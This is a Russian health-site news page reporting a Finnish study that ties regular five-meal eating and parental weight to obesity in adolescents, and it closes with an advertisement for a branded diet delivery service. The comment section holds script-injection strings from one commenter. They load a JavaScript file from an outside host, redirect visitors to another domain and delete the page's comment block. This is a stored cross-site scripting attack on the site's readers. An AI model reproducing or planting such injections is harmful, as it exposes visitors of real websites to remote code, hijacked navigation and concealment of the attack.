Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Сколько есть в Новом году...  >>  Сколько есть в Новом году, чтобы похудеть?
 
Обратная связь
 

Сколько есть в Новом году, чтобы похудеть?

Размер шрифта
13 февраля 2014 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Регулярность приемов пищи может предотвратить развитие ожирения у подростков, – сообщают ученые из Финляндии.

Сколько есть в новом году, чтобы похудеть?

Ученые подвергали статистической обработке информацию касательно 4 000 участников. Анализ начинался еще в пренатальном периоде – до рождения испытуемых – и продолжался до достижения ими шестнадцатилетнего возраста. Целью исследования стал поиск ранних факторов риска, ассоциированных с развитием ожирения. В частности, ученые хотели выяснить, влияет ли количество и регулярность приемов пищи на экспрессию генов, связанных с метаболическим синдромом.

В результате авторы пришли к выводу, что у подростков, которые придерживаются пятикратного дневного рациона (завтрак, обед, ужин и два перекуса), реже отмечается избыточный вес (у обоих полов) и абдоминальное ожирение (у мальчиков). Более того, подобный рацион снижал отрицательное генетическое влияние на массу тела.  

И, напротив, пропуск завтрака крайне негативно сказывался на индексе массы тела и окружности талии.

Другое наблюдение финских ученых касалось влияния динамики материнского веса во время беременности на риск ожирения у ребенка в будущем. Оказалось, что если мамы недальновидно поправлялись более чем на семь килограмм в течение первых двадцати недель беременности – для фигуры и метаболизма будущего ребенка это ничего хорошего не сулило. Впрочем, еще более негативным фактором риска оказался избыточный вес матери до зачатия. И не только матери – отцовское ожирение тоже продемонстрировало статистически значимое отрицательное влияние.

«Наши наблюдения служат очередным подтверждением тому, что как можно более ранняя забота о здоровье со стороны всех членов семьи является безусловным условиям ее дальнейшего благополучия. И не нужно ссылаться на гены – мы доказали, что коррекция образа жизни в определенной степени снижает влияние факторов наследственности», – говорит доктор Анна Яаскеляйнен, ведущий автор исследования.

Хотите узнать больше о том, как успешно похудеть? Читайте наш специальный проект «Сбрось лишнее».

К слову говоря, «Диета Елены Малышевой» основывается как раз на этом принципе! Попробуйте сами. Уже готовая правильная еда будет доставлена к вам в любое удобное место и время. Вам останется только есть и худеть.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - his shadow

29 декабря 2014 в 09:23

Комментарий удален за нарушение Правил общения

2 - zzzzzz

30 июня 2015 в 18:47

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:45

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
5 неожиданных причин, почему вы толстеете   Как уменьшить жир на лице?   10 правил похудения, которые действительно работают   Греетесь дома? Вы толстеете в тепле!  
15 августа 2012Обнаружены механизмы, контролирующие ожирение и атеросклероз! 07 августа 2012В Америке зарегистрирован новый препарат для снижения веса!
 
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 10 июля 2013От того, что ест беременная женщина, зависит ум ее ребенка
 

Слайдшоу

1
Супереда для быстрого похудения
Как справиться с обжорством?
Что не даст вам похудеть на праздниках

Тесты

1
Знаете ли вы, как работает ваш желудок?
Есть ли у вас избыточный вес?
Жиры, которые мы едим
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.